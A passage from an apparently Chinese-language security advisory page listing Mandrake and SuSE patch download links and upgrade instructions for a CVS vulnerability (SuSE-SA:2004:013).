ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/corporate/2.1/SRPMS/cvs-1.11.14-0.2.C21mdk.src.rpm

Corporate Server 2.1/x86_64:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/x86_64/corporate/2.1/RPMS/cvs-1.11.14-0.2.C21mdk.x86_64.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/x86_64/corporate/2.1/SRPMS/cvs-1.11.14-0.2.C21mdk.src.rpm

Mandrakelinux 9.1:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.1/RPMS/cvs-1.11.14-0.2.91mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.1/SRPMS/cvs-1.11.14-0.2.91mdk.src.rpm

Mandrakelinux 9.1/PPC:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/ppc/9.1/RPMS/cvs-1.11.14-0.2.91mdk.ppc.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/ppc/9.1/SRPMS/cvs-1.11.14-0.2.91mdk.src.rpm

Mandrakelinux 9.2:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.2/RPMS/cvs-1.11.14-0.2.92mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.2/SRPMS/cvs-1.11.14-0.2.92mdk.src.rpm

Mandrakelinux 9.2/AMD64:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/9.2/RPMS/cvs-1.11.14-0.2.92mdk.amd64.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/9.2/SRPMS/cvs-1.11.14-0.2.92mdk.src.rpm
_______________________________________________________________________

To upgrade automatically use MandrakeUpdate or urpmi.  The verification
of md5 checksums and GPG signatures is performed automatically for you.

A list of FTP mirrors can be obtained from:

http://www.mandrakesecure.net/en/ftp.php


上述升级软件还可以在下列地址中的任意一个镜像ftp服务器上下载:
http://www.mandrakesecure.net/en/ftp.php

S.u.S.E.
--------
S.u.S.E.已经为此发布了一个安全公告(SuSE-SA:2004:013)以及相应补丁:
SuSE-SA:2004:013:cvs
链接:

补丁下载:

CVS CVS 1.11.1 p1:

SuSE Upgrade cvs-1.11.1p1-329.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/cvs-1.11.1p1-329.i586.rpm

SuSE Upgrade cvs-1.11.1p1-329.i586.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/cvs-1.11.1p1-329.i586.patch.rpm

SuSE Upgrade cvs-1.11.1p1-329.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/cvs-1.11.1p1-329.i386.rpm

SuSE Upgrade cvs-1.11.1p1-329.i386.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/cvs-1.11.1p1-329.i386.patch.rpm

CVS CVS 1.11.5:

SuSE Upgrade cvs-1.11.5-112.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/cvs-1.11.5-112.i586.rpm

SuSE Upgrade cvs-1.11.5-112.i586.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/cvs-1.11.5-112.i586.patch.rpm

CVS Upgrade cvs-1.11.16.tar.gz
http://ccvs.cvshome.org/servlets/ProjectDownloadList?action=download&dlID=489

CVS CVS 1.11.6:

SuSE Upgrade cvs-1.11.6-81.i586.rpm
fftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/cvs-1.11.6-81.i586.rpm

SuSE Upgrade cvs-1.11.6-81.i586.patch.rpm
fftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/cvs-1.11.6-81.i586.patch.rpm

SuSE Upgrade cvs-1.11.6-81.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/cvs-1.11.6-81.x86_64.rpm

SuSE Upgrade cvs-1.11.6-81.x86_64.patch.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/cvs-1.11.6-81.x86_64.patch.rpm
版权所有,未经许可,不得转载